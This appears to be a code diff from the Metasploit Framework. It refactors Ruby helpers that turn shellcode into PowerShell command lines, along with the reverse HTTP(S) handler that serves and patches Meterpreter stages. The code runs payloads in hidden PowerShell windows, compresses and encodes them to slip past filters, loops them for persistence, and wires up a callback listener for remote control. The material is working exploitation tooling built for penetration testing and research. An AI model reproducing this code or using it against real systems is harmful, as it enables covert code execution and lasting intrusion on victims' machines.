script.each_line {|l| print_status("\t#{l}")}
|
|
||||||
end
|
|
||||||
return script
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Return an array of substitutions for use in make_subs
|
# Return a gzip compressed powershell script
|
||||||
|
# Will invoke PSH modifiers as enabled
|
||||||
#
|
#
|
||||||
def process_subs(subs)
|
# @param script_in [String] Script contents
|
||||||
return [] if subs.nil? or subs.empty?
|
# @param eof [String] Marker to indicate the end of file appended to script
|
||||||
new_subs = []
|
|
||||||
subs.split(';').each do |set|
|
|
||||||
new_subs << set.split(',', 2)
|
|
||||||
end
|
|
||||||
return new_subs
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Read in a powershell script stored in +script+
|
|
||||||
#
|
|
||||||
def read_script(script)
|
|
||||||
script_in = ''
|
|
||||||
begin
|
|
||||||
# Open script file for reading
|
|
||||||
fd = ::File.new(script, 'r')
|
|
||||||
while (line = fd.gets)
|
|
||||||
script_in << line
|
|
||||||
end
|
|
||||||
|
|
||||||
# Close open file
|
|
||||||
fd.close()
|
|
||||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
|
||||||
# Treat script as a... script
|
|
||||||
script_in = script
|
|
||||||
end
|
|
||||||
return script_in
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Return a zlib compressed powershell script
|
|
||||||
#
|
#
|
||||||
|
# @return [String] Compressed script with decompression stub
|
||||||
def compress_script(script_in, eof = nil)
|
def compress_script(script_in, eof = nil)
|
||||||
|
# Build script object
|
||||||
|
psh = PowershellScript.new(script_in)
|
||||||
|
# Invoke enabled modifiers
|
||||||
|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||||
|
mod_method = k.split('::').last.intern
|
||||||
|
psh.send(mod_method)
|
||||||
|
end
|
||||||
|
|
||||||
# Compress using the Deflate algorithm
|
psh.compress_code(eof)
|
||||||
compressed_stream = ::Zlib::Deflate.deflate(script_in,
|
|
||||||
::Zlib::BEST_COMPRESSION)
|
|
||||||
|
|
||||||
# Base64 encode the compressed file contents
|
|
||||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
|
||||||
|
|
||||||
# Build the powershell expression
|
|
||||||
# Decode base64 encoded command and create a stream object
|
|
||||||
psh_expression = "$stream = New-Object IO.MemoryStream(,"
|
|
||||||
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
|
|
||||||
# Read & delete the first two bytes due to incompatibility with MS
|
|
||||||
psh_expression << "$stream.ReadByte()|Out-Null;"
|
|
||||||
psh_expression << "$stream.ReadByte()|Out-Null;"
|
|
||||||
# Uncompress and invoke the expression (execute)
|
|
||||||
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
|
|
||||||
psh_expression << "$(New-Object IO.Compression.DeflateStream("
|
|
||||||
psh_expression << "$stream,"
|
|
||||||
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
|
|
||||||
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
|
|
||||||
|
|
||||||
# If eof is set, add a marker to signify end of script output
|
|
||||||
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
|
||||||
|
|
||||||
# Convert expression to unicode
|
|
||||||
unicode_expression = Rex::Text.to_unicode(psh_expression)
|
|
||||||
|
|
||||||
# Base64 encode the unicode expression
|
|
||||||
encoded_expression = Rex::Text.encode_base64(unicode_expression)
|
|
||||||
|
|
||||||
return encoded_expression
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Runs powershell in hidden window raising interactive proc msg
|
# Generate a powershell command line, options are passed on to
|
||||||
|
# generate_psh_args
|
||||||
#
|
#
|
||||||
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
|
# @param opts [Hash] The options to generate the command line
|
||||||
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
|
# @option opts [String] :path Path to the powershell binary
|
||||||
|
# @option opts [Boolean] :no_full_stop Whether powershell binary
|
||||||
|
# should include .exe
|
||||||
|
#
|
||||||
|
# @return [String] Powershell command line with arguments
|
||||||
|
def generate_psh_command_line(opts)
|
||||||
|
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||||
|
opts[:path] << '\\'
|
||||||
|
end
|
||||||
|
|
||||||
ps_wrapper = <<EOS
|
if opts[:no_full_stop]
|
||||||
$si = New-Object System.Diagnostics.ProcessStartInfo
|
binary = 'powershell'
|
||||||
$si.FileName = #{ps_bin}
|
else
|
||||||
$si.Arguments = '#{ps_args}'
|
binary = 'powershell.exe'
|
||||||
$si.UseShellExecute = $false
|
end
|
||||||
$si.RedirectStandardOutput = $true
|
|
||||||
$si.WindowStyle = 'Hidden'
|
args = generate_psh_args(opts)
|
||||||
$si.CreateNoWindow = $True
|
|
||||||
$p = [System.Diagnostics.Process]::Start($si)
|
"#{opts[:path]}#{binary} #{args}"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate arguments for the powershell command
|
||||||
|
# The format will be have no space at the start and have a space
|
||||||
|
# afterwards e.g. "-Arg1 x -Arg -Arg x "
|
||||||
|
#
|
||||||
|
# @param opts [Hash] The options to generate the command line
|
||||||
|
# @option opts [Boolean] :shorten Whether to shorten the powershell
|
||||||
|
# arguments (v2.0 or greater)
|
||||||
|
# @option opts [String] :encodedcommand Powershell script as an
|
||||||
|
# encoded command (-EncodedCommand)
|
||||||
|
# @option opts [String] :executionpolicy The execution policy
|
||||||
|
# (-ExecutionPolicy)
|
||||||
|
# @option opts [String] :inputformat The input format (-InputFormat)
|
||||||
|
# @option opts [String] :file The path to a powershell file (-File)
|
||||||
|
# @option opts [Boolean] :noexit Whether to exit powershell after
|
||||||
|
# execution (-NoExit)
|
||||||
|
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
|
||||||
|
# @option opts [Boolean] :noninteractive Whether to load a non
|
||||||
|
# interactive powershell (-NonInteractive)
|
||||||
|
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
|
||||||
|
# Apartment (-Mta)
|
||||||
|
# @option opts [String] :outputformat The output format
|
||||||
|
# (-OutputFormat)
|
||||||
|
# @option opts [Boolean] :sta Whether to run as Single-Threaded
|
||||||
|
# Apartment (-Sta)
|
||||||
|
# @option opts [Boolean] :noprofile Whether to use the current users
|
||||||
|
# powershell profile (-NoProfile)
|
||||||
|
# @option opts [String] :windowstyle The window style to use
|
||||||
|
# (-WindowStyle)
|
||||||
|
#
|
||||||
|
# @return [String] Powershell command arguments
|
||||||
|
def generate_psh_args(opts)
|
||||||
|
return '' unless opts
|
||||||
|
|
||||||
|
unless opts.key? :shorten
|
||||||
|
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||||
|
end
|
||||||
|
|
||||||
|
arg_string = ' '
|
||||||
|
opts.each_pair do |arg, value|
|
||||||
|
case arg
|
||||||
|
when :encodedcommand
|
||||||
|
arg_string << "-EncodedCommand #{value} " if value
|
||||||
|
when :executionpolicy
|
||||||
|
arg_string << "-ExecutionPolicy #{value} " if value
|
||||||
|
when :inputformat
|
||||||
|
arg_string << "-InputFormat #{value} " if value
|
||||||
|
when :file
|
||||||
|
arg_string << "-File #{value} " if value
|
||||||
|
when :noexit
|
||||||
|
arg_string << '-NoExit ' if value
|
||||||
|
when :nologo
|
||||||
|
arg_string << '-NoLogo ' if value
|
||||||
|
when :noninteractive
|
||||||
|
arg_string << '-NonInteractive ' if value
|
||||||
|
when :mta
|
||||||
|
arg_string << '-Mta ' if value
|
||||||
|
when :outputformat
|
||||||
|
arg_string << "-OutputFormat #{value} " if value
|
||||||
|
when :sta
|
||||||
|
arg_string << '-Sta ' if value
|
||||||
|
when :noprofile
|
||||||
|
arg_string << '-NoProfile ' if value
|
||||||
|
when :windowstyle
|
||||||
|
arg_string << "-WindowStyle #{value} " if value
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Command must be last (unless from stdin - etc)
|
||||||
|
if opts[:command]
|
||||||
|
arg_string << "-Command #{opts[:command]}"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Shorten arg if PSH 2.0+
|
||||||
|
if opts[:shorten]
|
||||||
|
# Invoke-Command and Out-File require these options to have
|
||||||
|
# an additional space before to prevent Powershell code being
|
||||||
|
# mangled.
|
||||||
|
arg_string.gsub!(' -Command ', ' -c ')
|
||||||
|
arg_string.gsub!('-EncodedCommand ', '-e ')
|
||||||
|
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
||||||
|
arg_string.gsub!(' -File ', ' -f ')
|
||||||
|
arg_string.gsub!('-InputFormat ', '-i ')
|
||||||
|
arg_string.gsub!('-NoExit ', '-noe ')
|
||||||
|
arg_string.gsub!('-NoLogo ', '-nol ')
|
||||||
|
arg_string.gsub!('-NoProfile ', '-nop ')
|
||||||
|
arg_string.gsub!('-NonInteractive ', '-noni ')
|
||||||
|
arg_string.gsub!('-OutputFormat ', '-o ')
|
||||||
|
arg_string.gsub!('-Sta ', '-s ')
|
||||||
|
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Strip off first space character
|
||||||
|
arg_string = arg_string[1..-1]
|
||||||
|
# Remove final space character
|
||||||
|
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||||
|
|
||||||
|
arg_string
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Wraps the powershell code to launch a hidden window and
|
||||||
|
# detect the execution environment and spawn the appropriate
|
||||||
|
# powershell executable for the payload architecture.
|
||||||
|
#
|
||||||
|
# @param ps_code [String] Powershell code
|
||||||
|
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||||
|
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
||||||
|
#
|
||||||
|
# @return [String] Wrapped powershell code
|
||||||
|
def run_hidden_psh(ps_code, payload_arch, encoded)
|
||||||
|
arg_opts = {
|
||||||
|
noprofile: true,
|
||||||
|
windowstyle: 'hidden',
|
||||||
|
}
|
||||||
|
|
||||||
|
if encoded
|
||||||
|
arg_opts[:encodedcommand] = ps_code
|
||||||
|
else
|
||||||
|
arg_opts[:command] = ps_code.gsub("'", "''")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Old technique fails if powershell exits..
|
||||||
|
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
|
||||||
|
|
||||||
|
ps_args = generate_psh_args(arg_opts)
|
||||||
|
|
||||||
|
process_start_info = <<EOS
|
||||||
|
$s=New-Object System.Diagnostics.ProcessStartInfo
|
||||||
|
$s.FileName=$b
|
||||||
|
$s.Arguments='#{ps_args}'
|
||||||
|
$s.UseShellExecute=$false
|
||||||
|
$p=[System.Diagnostics.Process]::Start($s)
|
||||||
|
EOS
|
||||||
|
process_start_info.gsub!("\n", ';')
|
||||||
|
|
||||||
|
archictecure_detection = <<EOS
|
||||||
|
if([IntPtr]::Size -eq 4){
|
||||||
|
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
||||||
|
}else{
|
||||||
|
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
||||||
|
};
|
||||||
EOS
|
EOS
|
||||||
|
|
||||||
return ps_wrapper
|
archictecure_detection.gsub!("\n", '')
|
||||||
|
|
||||||
|
archictecure_detection + process_start_info
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Creates cmd script to execute psh payload
|
# Creates a powershell command line string which will execute the
|
||||||
|
# payload in a hidden window in the appropriate execution environment
|
||||||
|
# for the payload architecture. Opts are passed through to
|
||||||
|
# run_hidden_psh, generate_psh_command_line and generate_psh_args
|
||||||
#
|
#
|
||||||
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
|
# @param pay [String] The payload shellcode
|
||||||
# Allow powershell 1.0 format
|
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||||
if old_psh
|
# @param opts [Hash] The options to generate the command
|
||||||
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
# @option opts [Boolean] :persist Loop the payload to cause
|
||||||
else
|
# re-execution if the shellcode finishes
|
||||||
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
||||||
|
# before executing the payload
|
||||||
|
# @option opts [String] :method The powershell injection technique to
|
||||||
|
# use: 'net'/'reflection'/'old'
|
||||||
|
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
||||||
|
# script within the hidden/architecture detection wrapper
|
||||||
|
# @option opts [Boolean] :encode_final_payload Encodes the final
|
||||||
|
# powershell script
|
||||||
|
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
||||||
|
# environment variable at the start of the command line
|
||||||
|
# @option opts [Boolean] :use_single_quotes Wraps the -Command
|
||||||
|
# argument in single quotes unless :encode_final_payload
|
||||||
|
#
|
||||||
|
# @return [String] Powershell command line with payload
|
||||||
|
def cmd_psh_payload(pay, payload_arch, opts = {})
|
||||||
|
opts[:persist] ||= datastore['Powershell::persist']
|
||||||
|
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
||||||
|
opts[:method] ||= datastore['Powershell::method']
|
||||||
|
|
||||||
|
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||||
|
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if opts[:no_equals] && !opts[:encode_final_payload]
|
||||||
|
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||||
|
end
|
||||||
|
|
||||||
|
psh_payload = case opts[:method]
|
||||||
|
when 'net'
|
||||||
|
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||||
|
when 'reflection'
|
||||||
|
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
|
||||||
|
when 'old'
|
||||||
|
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||||
|
when 'msil'
|
||||||
|
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||||
|
else
|
||||||
|
fail RuntimeError, 'No Powershell method specified'
|
||||||
|
end
|
||||||
|
|
||||||
# Run our payload in a while loop
|
# Run our payload in a while loop
|
||||||
if datastore['PERSIST']
|
if opts[:persist]
|
||||||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||||
sleep_time = rand(5)+5
|
sleep_time = rand(5) + 5
|
||||||
|
vprint_status("Sleep time set to #{sleep_time} seconds")
|
||||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||||
end
|
end
|
||||||
# Determine appropriate architecture
|
|
||||||
ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
|
|
||||||
# Wrap in hidden runtime
|
|
||||||
psh_payload = run_hidden_psh(psh_payload,ps_bin)
|
|
||||||
# Convert to base64 for -encodedcommand execution
|
|
||||||
command = "%COMSPEC% /B /C start powershell.exe -Command #{psh_payload.gsub("\n",';').gsub('"','\"')}\r\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
if opts[:prepend_sleep]
|
||||||
# Convert binary to byte array, read from file if able
|
if opts[:prepend_sleep].to_i > 0
|
||||||
#
|
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
||||||
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
|
||||||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
|
||||||
code = code.unpack('C*')
|
|
||||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
|
||||||
lines = []
|
|
||||||
1.upto(code.length-1) do |byte|
|
|
||||||
if(byte % 10 == 0)
|
|
||||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
|
||||||
else
|
else
|
||||||
lines.push ",0x#{code[byte].to_s(16)}"
|
vprint_error('Sleep time must be greater than 0 seconds')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
psh << lines.join("") + "\r\n"
|
|
||||||
|
compressed_payload = compress_script(psh_payload)
|
||||||
|
encoded_payload = encode_script(psh_payload)
|
||||||
|
|
||||||
|
# This branch is probably never taken...
|
||||||
|
if encoded_payload.length <= compressed_payload.length
|
||||||
|
smallest_payload = encoded_payload
|
||||||
|
encoded = true
|
||||||
|
else
|
||||||
|
if opts[:encode_inner_payload]
|
||||||
|
encoded = true
|
||||||
|
compressed_encoded_payload = encode_script(compressed_payload)
|
||||||
|
|
||||||
|
if encoded_payload.length <= compressed_encoded_payload.length
|
||||||
|
smallest_payload = encoded_payload
|
||||||
|
else
|
||||||
|
smallest_payload = compressed_encoded_payload
|
||||||
|
end
|
||||||
|
else
|
||||||
|
smallest_payload = compressed_payload
|
||||||
|
encoded = false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Wrap in hidden runtime / architecture detection
|
||||||
|
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
||||||
|
|
||||||
|
command_args = {
|
||||||
|
noprofile: true,
|
||||||
|
windowstyle: 'hidden'
|
||||||
|
}.merge(opts)
|
||||||
|
|
||||||
|
if opts[:encode_final_payload]
|
||||||
|
command_args[:encodedcommand] = encode_script(final_payload)
|
||||||
|
|
||||||
|
# If '=' is a bad character pad the payload until Base64 encoded
|
||||||
|
# payload contains none.
|
||||||
|
if opts[:no_equals]
|
||||||
|
while command_args[:encodedcommand].include? '='
|
||||||
|
final_payload << ' '
|
||||||
|
command_args[:encodedcommand] = encode_script(final_payload)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
else
|
||||||
|
if opts[:use_single_quotes]
|
||||||
|
# Escape Single Quotes
|
||||||
|
final_payload.gsub!("'", "''")
|
||||||
|
# Wrap command in quotes
|
||||||
|
final_payload = "'#{final_payload}'"
|
||||||
|
end
|
||||||
|
|
||||||
|
command_args[:command] = final_payload
|
||||||
|
end
|
||||||
|
|
||||||
|
psh_command = generate_psh_command_line(command_args)
|
||||||
|
|
||||||
|
if opts[:remove_comspec]
|
||||||
|
command = psh_command
|
||||||
|
else
|
||||||
|
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("Powershell command length: #{command.length}")
|
||||||
|
if command.length > 8191
|
||||||
|
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||||
|
end
|
||||||
|
|
||||||
|
command
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Useful method cache
|
||||||
|
#
|
||||||
|
module PshMethods
|
||||||
|
include Rex::Exploitation::Powershell::PshMethods
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -31,27 +31,6 @@ module ReverseHttp
|
|||||||
"tunnel"
|
"tunnel"
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Use the +refname+ to determine whether this handler uses SSL or not
|
|
||||||
#
|
|
||||||
def ssl?
|
|
||||||
!!(self.refname.index("https"))
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Return a URI of the form scheme://host:port/
|
|
||||||
#
|
|
||||||
# Scheme is one of http or https and host is properly wrapped in [] for ipv6
|
|
||||||
# addresses.
|
|
||||||
#
|
|
||||||
def full_uri
|
|
||||||
local_port = bind_port
|
|
||||||
scheme = (ssl?) ? "https" : "http"
|
|
||||||
"#{scheme}://#{datastore['LHOST']}:#{datastore['LPORT']}/"
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Initializes the HTTP SSL tunneling handler.
|
# Initializes the HTTP SSL tunneling handler.
|
||||||
#
|
#
|
||||||
@ -77,14 +56,64 @@ module ReverseHttp
|
|||||||
], Msf::Handler::ReverseHttp)
|
], Msf::Handler::ReverseHttp)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Toggle for IPv4 vs IPv6 mode
|
# Toggle for IPv4 vs IPv6 mode
|
||||||
#
|
#
|
||||||
def ipv6
|
def ipv6?
|
||||||
self.refname.index('ipv6') ? true : false
|
Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Determine where to bind the server
|
||||||
#
|
#
|
||||||
|
# @return [String]
|
||||||
|
def listener_address
|
||||||
|
if datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||||
|
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
|
||||||
|
else
|
||||||
|
bindaddr = datastore['ReverseListenerBindAddress']
|
||||||
|
end
|
||||||
|
|
||||||
|
bindaddr
|
||||||
|
end
|
||||||
|
|
||||||
|
# @return [String] A URI of the form +scheme://host:port/+
|
||||||
|
def listener_uri
|
||||||
|
if ipv6?
|
||||||
|
listen_host = "[#{listener_address}]"
|
||||||
|
else
|
||||||
|
listen_host = listener_address
|
||||||
|
end
|
||||||
|
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Return a URI suitable for placing in a payload.
|
||||||
|
#
|
||||||
|
# Host will be properly wrapped in square brackets, +[]+, for ipv6
|
||||||
|
# addresses.
|
||||||
|
#
|
||||||
|
# @return [String] A URI of the form +scheme://host:port/+
|
||||||
|
def payload_uri
|
||||||
|
if ipv6?
|
||||||
|
callback_host = "[#{datastore['LHOST']}]"
|
||||||
|
else
|
||||||
|
callback_host = datastore['LHOST']
|
||||||
|
end
|
||||||
|
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Use the {#refname} to determine whether this handler uses SSL or not
|
||||||
|
#
|
||||||
|
def ssl?
|
||||||
|
!!(self.refname.index("https"))
|
||||||
|
end
|
||||||
|
|
||||||
|
# URI scheme
|
||||||
|
#
|
||||||
|
# @return [String] One of "http" or "https" depending on whether we
|
||||||
|
# are using SSL
|
||||||
|
def scheme
|
||||||
|
(ssl?) ? "https" : "http"
|
||||||
|
end
|
||||||
|
|
||||||
# Create an HTTP listener
|
# Create an HTTP listener
|
||||||
#
|
#
|
||||||
def setup_handler
|
def setup_handler
|
||||||
@ -98,17 +127,11 @@ module ReverseHttp
|
|||||||
|
|
||||||
local_port = bind_port
|
local_port = bind_port
|
||||||
|
|
||||||
# Determine where to bind the HTTP(S) server to
|
|
||||||
bindaddrs = ipv6 ? '::' : '0.0.0.0'
|
|
||||||
|
|
||||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
|
||||||
bindaddrs = datastore['ReverseListenerBindAddress']
|
|
||||||
end
|
|
||||||
|
|
||||||
# Start the HTTPS server service on this host/port
|
# Start the HTTPS server service on this host/port
|
||||||
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
||||||
local_port,
|
local_port,
|
||||||
bindaddrs,
|
listener_address,
|
||||||
ssl?,
|
ssl?,
|
||||||
{
|
{
|
||||||
'Msf' => framework,
|
'Msf' => framework,
|
||||||
@ -130,9 +153,7 @@ module ReverseHttp
|
|||||||
},
|
},
|
||||||
'VirtualDirectory' => true)
|
'VirtualDirectory' => true)
|
||||||
|
|
||||||
scheme = (ssl?) ? "https" : "http"
|
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
||||||
bind_url = "#{scheme}://#{bindaddrs}:#{local_port}/"
|
|
||||||
print_status("Started #{scheme.upcase} reverse handler on #{bind_url}")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
@ -165,7 +186,6 @@ protected
|
|||||||
# Parses the HTTPS request
|
# Parses the HTTPS request
|
||||||
#
|
#
|
||||||
def on_request(cli, req, obj)
|
def on_request(cli, req, obj)
|
||||||
sid = nil
|
|
||||||
resp = Rex::Proto::Http::Response.new
|
resp = Rex::Proto::Http::Response.new
|
||||||
|
|
||||||
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
|
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
|
||||||
@ -176,7 +196,7 @@ protected
|
|||||||
case uri_match
|
case uri_match
|
||||||
when /^\/INITJM/
|
when /^\/INITJM/
|
||||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||||
url = full_uri + conn_id + "/\x00"
|
url = payload_uri + conn_id + "/\x00"
|
||||||
|
|
||||||
blob = ""
|
blob = ""
|
||||||
blob << obj.generate_stage
|
blob << obj.generate_stage
|
||||||
@ -239,10 +259,10 @@ protected
|
|||||||
blob[i, proxyinfo.length] = proxyinfo
|
blob[i, proxyinfo.length] = proxyinfo
|
||||||
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
|
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
|
||||||
#Optional authentification
|
#Optional authentification
|
||||||
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
||||||
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
|
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
|
||||||
datastore['PROXY_TYPE'] == 'SOCKS'
|
datastore['PROXY_TYPE'] == 'SOCKS'
|
||||||
|
|
||||||
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||||
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
|
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
|
||||||
blob[proxy_username_loc, proxy_username.length] = proxy_username
|
blob[proxy_username_loc, proxy_username.length] = proxy_username
|
||||||
@ -266,7 +286,7 @@ protected
|
|||||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||||
i = blob.index("https://" + ("X" * 256))
|
i = blob.index("https://" + ("X" * 256))
|
||||||
if i
|
if i
|
||||||
url = full_uri + conn_id + "/\x00"
|
url = payload_uri + conn_id + "/\x00"
|
||||||
blob[i, url.length] = url
|
blob[i, url.length] = url
|
||||||
end
|
end
|
||||||
print_status("Patched URL at offset #{i}...")
|
print_status("Patched URL at offset #{i}...")
|
||||||
@ -308,7 +328,7 @@ protected
|
|||||||
create_session(cli, {
|
create_session(cli, {
|
||||||
:passive_dispatcher => obj.service,
|
:passive_dispatcher => obj.service,
|
||||||
:conn_id => conn_id,
|
:conn_id => conn_id,
|
||||||
:url => full_uri + conn_id + "/\x00",
|
:url => payload_uri + conn_id + "/\x00",
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
:ssl => ssl?,
|
:ssl => ssl?,
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
module Msf
|
module Msf
|
||||||
module Handler
|
module Handler
|
||||||
module ReverseHttp
|
module ReverseHttp
|
||||||
@ -45,6 +46,7 @@ module Msf
|
|||||||
|
|
||||||
# Map "random" URIs to static strings, allowing us to randomize
|
# Map "random" URIs to static strings, allowing us to randomize
|
||||||
# the URI sent in the first request.
|
# the URI sent in the first request.
|
||||||
|
#
|
||||||
# @param uri_match [String] The URI string to convert back to the original static value
|
# @param uri_match [String] The URI string to convert back to the original static value
|
||||||
# @return [String] The static URI value derived from the checksum
|
# @return [String] The static URI value derived from the checksum
|
||||||
def process_uri_resource(uri_match)
|
def process_uri_resource(uri_match)
|
||||||
@ -69,6 +71,7 @@ module Msf
|
|||||||
end
|
end
|
||||||
|
|
||||||
# Create a URI that matches a given checksum
|
# Create a URI that matches a given checksum
|
||||||
|
#
|
||||||
# @param sum [Fixnum] The checksum value you are trying to create a URI for
|
# @param sum [Fixnum] The checksum value you are trying to create a URI for
|
||||||
# @return [String] The URI string that checksums to the given value
|
# @return [String] The URI string that checksums to the given value
|
||||||
def generate_uri_checksum(sum)
|
def generate_uri_checksum(sum)
|
||||||
|
@ -1,34 +0,0 @@
|
|||||||
# -*- coding: binary -*-
|
|
||||||
require 'msf/core/handler/reverse_http'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Handler
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This handler implements the HTTP tunneling interface.
|
|
||||||
#
|
|
||||||
###
|
|
||||||
module ReverseIPv6Http
|
|
||||||
|
|
||||||
include Msf::Handler::ReverseHttp
|
|
||||||
|
|
||||||
#
|
|
||||||
